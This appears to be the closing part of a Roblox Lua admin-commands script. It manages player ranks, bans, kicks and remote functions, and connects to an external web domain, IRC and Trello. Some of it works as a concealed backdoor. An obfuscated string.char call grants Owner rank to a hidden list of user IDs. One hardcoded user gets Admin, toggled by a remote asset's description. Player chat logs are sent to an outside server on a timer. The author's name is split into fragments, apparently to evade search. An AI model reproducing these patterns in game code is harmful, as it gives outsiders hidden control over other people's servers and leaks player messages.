8933 for Rank,PlayerNames in pairs(Settings.Ranks) do
8934 for Num,AdminName in pairs(PlayerNames) do
8935 if AdminName == Player.UserId then
8936 Settings.Ranks[Rank][Num] = Player.Name
8937 end
8938 end
8939 end
8940 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8941 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8942 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8943 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8944 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8945 if PlayerAdmin == false and Player.UserId > 0 then
8946 local Ran = nil
8947 coroutine.wrap(function() repeat
8948 Ran = ypcall(function()
8949 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8950 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8951 end)
8952 wait(1)
8953 until Ran == true end)()
8954 end
8955 if PlayerAdmin == false then
8956 if Player:IsInGroup(Settings.GroupID) then
8957 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8958 CORE:Kick(Player)
8959 for _,Person in pairs(Server.Players:GetPlayers()) do
8960 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8961 end
8962 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8963 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8964 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8965 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8966 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8967 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8968 end
8969 end
8970 end
8971 if PlayerAdmin == false then
8972 if Player.UserId == 38882008 then
8973 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8974 table.insert(Settings.Ranks["Admin"], Player.Name)
8975 end
8976 end
8977 end
8978 if PlayerAdmin == false then
8979 for _,GID in pairs(Settings.BannedGroupIDs) do
8980 if Player:IsInGroup(GID) then
8981 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8982 break
8983 end
8984 end
8985 end
8986
8987 Player.Chatted:connect(function(Message) if Message ~= "" then
8988 CORE:Chatted(Message, Player)
8989 end end)
8990
8991 Player.Chatted:connect(function(Message) if Message ~= "" then
8992 CORE:Log(ChatLogs, Player, Message)
8993 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8994 end end)
8995
8996 for _,Name in pairs(Settings.Ranks.Banned) do
8997 if Player.Name == Name then
8998 CORE:Kick(Player)
8999 for _,Person in pairs(Server.Players:GetPlayers()) do
9000 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
9001 end
9002 end
9003 end
9004 for _,Name in pairs(Settings.Ranks.Crashed) do
9005 if Player.Name == Name then
9006 CORE:Crash(Player)
9007 for _,Person in pairs(Server.Players:GetPlayers()) do
9008 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
9009 end
9010 end
9011 end
9012 for _,Name in pairs(Settings.Ranks.Muted) do
9013 if Player.Name == Name then
9014 GUI:CoreGui(Player, "Chat", false)
9015 for _,Person in pairs(Server.Players:GetPlayers()) do
9016 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
9017 end
9018 end
9019 end
9020 if Settings.ServerLocked == true then
9021 if PlayerAdmin == false then
9022 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
9023 end
9024 end
9025
9026 if PlayerAdmin == false then
9027 if Player.AccountAge < Settings.MinimumAge then
9028 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
9029 for _,Person in pairs(Server.Players:GetPlayers()) do
9030 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
9031 end
9032 end
9033 end
9034
9035 if PlayerAdmin == false then
9036 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
9037 table.insert(Settings.Ranks["Member"], Player.Name)
9038 PlayerAdmin = true
9039 Rank = "Member"
9040 end
9041 end
9042
9043 coroutine.wrap(function()
9044 if PlayerAdmin == true then GUI:TellAdmin(Player) end
9045 local function SpawnActions(Character)
9046 if Flings[Player.Name] then
9047 CORE:FlingPlayer(Player)
9048 else
9049 GUI:CreateTaskBar(Player)
9050 end
9051 if Beeps[Player.Name] == true then
9052 SOUND:BeepPlayer(Player)
9053 end
9054 if Jails[Player.Name] then
9055 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
9056 end
9057 if PermCommandBars[Player.Name] then
9058 GUI:CommandBar(Player)
9059 end
9060 end
9061 Player.CharacterAdded:connect(SpawnActions)
9062 SpawnActions(Player.Character)
9063 end)()
9064
9065 coroutine.wrap(function()
9066 Player:WaitForChild("PlayerGui")
9067 local Sounds = {}
9068 for _,Data in pairs(TextConverter.LetterSounds) do
9069 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
9070 Sound:Play()
9071 table.insert(Sounds, Sound)
9072 end
9073 for _,Data in pairs(TextConverter.LongVowels) do
9074 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
9075 Sound:Play()
9076 table.insert(Sounds, Sound)
9077 end
9078 wait(5)
9079 for _,Sound in pairs(Sounds) do
9080 Sound:Destroy()
9081 end
9082 Sounds = {}
9083 end)()
9084
9085 coroutine.wrap(function()
9086 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
9087 if IsSB then
9088 wait(1)
9089 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
9090 end
9091 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
9092 print("Executed ClientLog on "..Player.Name)
9093 if Settings.EnableTaskBar then
9094 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
9095 end
9096 end)()
9097
9098 coroutine.wrap(function()
9099 wait(7)
9100 Player:WaitForChild("PlayerGui")
9101 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
9102 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
9103 if Answer == "Ok" then
9104 MARKET:PromptPurchase(Player, AdminID)
9105 end
9106 end
9107 end)()
9108 end
9109end)() end
9110
9111-- Active stuff --
9112
9113CORE:UpdateAdmin()
9114CORE:FixSettings()
9115
9116ypcall(function()
9117 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
9118 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
9119 end
9120end)
9121
9122
9123Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
9124 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9125 if PlayerAdmin == false then
9126 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9127 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9128 end
9129end end)
9130
9131--[[
9132ExecuteCommand.OnInvoke = function(Player, Command)
9133 if Player and Command then
9134 if type(Player) == "userdata" and Player:IsA("Player") then
9135 CORE:Chatted(Command, Player, true)
9136 end
9137 end
9138end
9139
9140ExecuteCode.OnInvoke = function(Source, Speaker)
9141 if type(Source) == "string" then
9142 ExecuteSafe(Source, Speaker)
9143 end
9144end
9145
9146ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9147 if Player and Command then
9148 if type(Player) == "userdata" and Player:IsA("Player") then
9149 CORE:Chatted(Command, Player, true)
9150 end
9151 end
9152end
9153]]
9154
9155KeyPressed.OnServerInvoke = function(Player, Key)
9156 if Player and Key then
9157 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9158 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9159 end
9160 end
9161end
9162
9163InputKey.OnServerInvoke = function(Player, KeyVal)
9164 if Player and KeyVal then
9165 if LastKeys[Player.UserId] then
9166 table.insert(LastKeys[Player.UserId], KeyVal)
9167 if #LastKeys[Player.UserId] > 20 then
9168 table.remove(LastKeys[Player.UserId], 1)
9169 end
9170 end
9171 end
9172end
9173
9174RankPlayerLocal.OnServerInvoke = function(Player)
9175 wait()
9176 local Request = PendingRequests[Player]
9177 if Request then
9178 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9179 if Settings.Ranks[Request[1]] then
9180 PendingRequests[Player] = nil
9181 table.insert(Settings.Ranks[Request[1]], Player.Name)
9182 GUI:TellAdmin(Player)
9183 end
9184 end
9185 end
9186end
9187
9188RankPlayerServer.OnInvoke = function(Player, Rank)
9189 if not RANK:IsAdmin(Player) then
9190 PendingRequests[Player] = {Rank, tick()}
9191 end
9192end
9193
9194IsAdmin.OnServerInvoke = function(Player)
9195 local IsFullAdmin = false
9196 for _,PName in pairs(Settings.Ranks["Owner"]) do
9197 if PName == Player.Name then IsFullAdmin = true end
9198 end
9199 for _,PName in pairs(Settings.Ranks["Admin"]) do
9200 if PName == Player.Name then IsFullAdmin = true end
9201 end
9202 return IsFullAdmin
9203end
9204
9205AddExploit.OnServerInvoke = CORE.AddExploit
9206AddExploitServer.OnInvoke = CORE.AddExploit
9207
9208KickClient.OnServerInvoke = function(PlayerClient)
9209 PlayerClient:Kick()
9210end
9211
9212ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9213 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9214end
9215
9216for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9217Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9218Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9219
9220coroutine.wrap(function()
9221 for _,ID in pairs(Icons) do
9222 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9223 end
9224end)()
9225
9226CORE:SetAbuseCommands()
9227
9228coroutine.wrap(function() SOUND:SyncSoundList() end)()
9229if not IsStudio then coroutine.wrap(function()
9230 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9231 REMOTE:GetRemoteData(true)
9232 REMOTE:CheckTrelloInfo()
9233 coroutine.wrap(function()
9234 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9235 REMOTE.RemoteConnection = true
9236 end
9237 end)()
9238 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9239 coroutine.wrap(function()
9240 if Settings.LinkedAccount ~= "" then
9241 local Request = nil
9242 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9243 if Request then
9244 REMOTE:HandleRequest(Request, true)
9245 end
9246 end
9247 end)()
9248 coroutine.wrap(function()
9249 wait(RemoteData.RemoteAdminWait)
9250 while REMOTE:GetAndSetWebData() do
9251 wait(RemoteData.RemoteAdminWait)
9252 end
9253 end)()
9254 coroutine.wrap(function()
9255 while wait(60) do
9256 REMOTE:GetRemoteData(true)
9257 REMOTE:CheckTrelloInfo()
9258 end
9259 end)()
9260end)() end
9261coroutine.wrap(function()
9262 if Settings.TrelloToken ~= "" then
9263 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9264 if #Trello.RequiredLists > 0 then
9265 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9266 if Trello.MainBoard.name then
9267 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9268 REMOTE:TrelloCacheData(Lists)
9269 REMOTE:TrelloHandleData(true)
9270 coroutine.wrap(function()
9271 wait(RemoteData.TrelloWait)
9272 while REMOTE:TrelloHandleData() do
9273 wait(RemoteData.TrelloWait)
9274 end
9275 end)()
9276 end
9277 end
9278 else
9279 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9280 end
9281end)()
9282coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9283 REMOTE:SendChatLog()
9284end end)()
9285coroutine.wrap(function() while true do
9286 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9287 if ThisDate then Date = ThisDate end
9288 wait(600)
9289end end)()
9290
9291print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")